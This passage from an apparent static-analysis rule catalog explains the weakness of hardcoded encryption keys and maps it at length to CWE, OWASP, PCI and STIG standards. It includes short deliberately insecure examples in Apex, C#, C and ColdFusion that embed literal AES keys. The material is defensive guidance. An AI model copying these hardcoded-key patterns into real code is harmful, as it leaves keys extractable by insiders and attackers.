[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.actionscript.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
Never hardcode an encryption key because it makes the encryption key visible to all of the project's developers, and makes fixing the problem extremely difficult. Changing the encryption key after the code is in production requires a software patch. If the account that the encryption key protects is compromised, the organization must choose between security and system availability.

Example 1: The following code performs AES encryption using a hardcoded encryption key:


...
Blob encKey = Blob.valueOf('YELLOW_SUBMARINE');
Blob encrypted = Crypto.encrypt('AES128', encKey, iv, input);
...


Anyone with access to the code can see the encryption key. After the application has shipped, there is no way to change the encryption key without a software patch. An employee with access to this information can use it to break into the system. Any attacker with access to the application executable can extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.apex.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
using (SymmetricAlgorithm algorithm = SymmetricAlgorithm.Create("AES"))
{
  string encryptionKey = "lakdsljkalkjlksdfkl";
  byte[] keyBytes = Encoding.ASCII.GetBytes(encryptionKey);
  algorithm.Key = keyBytes;
  ...
}


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[37] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.dotnet.key_management_hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


...
char encryptionKey[] = "lakdsljkalkjlksdfkl";
...


Anyone with access to the code has access to the encryption key. After the program ships, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers have access to the executable for the application they can disassemble the code, which will contain the value of the encryption key used.
References
[1] Windows Data Protection Microsoft
[2] Encrypting Your App's Files Apple
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[39] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[62] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[63] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.hardcoded_encryption_key
Abstract
Hardcoded encryption keys can compromise security in a way that is not easy to remedy.
Explanation
It is never a good idea to hardcode an encryption key because it allows all of the project's developers to view the encryption key, and makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account that is protected by the encryption key is compromised, the owners of the system must choose between security and availability.

Example 1: The following code uses a hardcoded encryption key:


	...
	<cfset encryptionKey = "lakdsljkalkjlksdfkl" />
	<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
	...


Anyone with access to the code has access to the encryption key. After the application has shipped, there is no way to change the encryption key unless the program is patched. An employee with access to this information can use it to break into the system. If attackers had access to the executable for the application, they could extract the encryption key value.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
